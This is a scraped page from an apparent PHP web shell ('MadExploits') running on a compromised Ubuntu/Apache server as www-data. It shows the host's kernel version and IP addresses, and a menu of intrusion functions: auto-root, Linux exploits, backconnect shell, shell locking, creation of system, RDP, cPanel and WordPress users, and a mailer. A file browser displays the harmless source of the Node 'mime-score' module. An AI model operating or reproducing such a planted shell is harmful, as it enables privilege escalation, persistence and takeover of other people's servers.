Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 172.70.114.233
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
nodejs /
mime-score /
[ HOME SHELL ]
Name
Size
Permission
Action
index.js
1.68
KB
-rw-r--r--
package.json
558
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.js
var MIME_RE = /^([^/]+)\/([^;]+)/; // Score RFC facets (see https://tools.ietf.org/html/rfc6838#section-3) var FACET_SCORES = { 'prs.': 100, 'x-': 200, 'x.': 300, 'vnd.': 400, default: 900 }; // Score mime source (Logic originally from `jshttp/mime-types` module) var SOURCE_SCORES = { 'nginx': 10, 'apache': 20, 'iana': 40, default: 30 // definitions added by `jsttp/mime-db` project? }; var TYPE_SCORES = { // prefer application/xml over text/xml // prefer application/rtf over text/rtf application: 1, // prefer font/woff over application/font-woff font: 2, default: 0 } /** * Get a mimetype "score" that can be used to resolve extension conflicts in a * deterministic way. * * @param mimeType (String) The mime type. E.g. "image/bmp" * @param source (String) Optinoal source of the mime type. May be one of "iana", * "apache", "nginx", or undefined * * @return (Number) Score corresponding to how "official" the type is. The * number breaks down as follows: * 100's digit: determined by RFC facet * 10's digit : determined by source * 1's digit : determined by general type. E.g. 'application' vs 'text' * fraction : inverse string length (shorter = larger value) */ module.exports = function mimeScore(mimeType, source) { if (!MIME_RE.test(mimeType)) return 0; var type = RegExp.$1; var subtype = RegExp.$2; var facet = /^([a-z]+\.|x-)/.test(subtype) && RegExp.$1 || undefined; return (FACET_SCORES[facet] || FACET_SCORES.default) + (SOURCE_SCORES[source] || SOURCE_SCORES.default) + (TYPE_SCORES[type] || TYPE_SCORES.default) + (1 - mimeType.length/100); // All other things being equal, prefer shorter types };
Close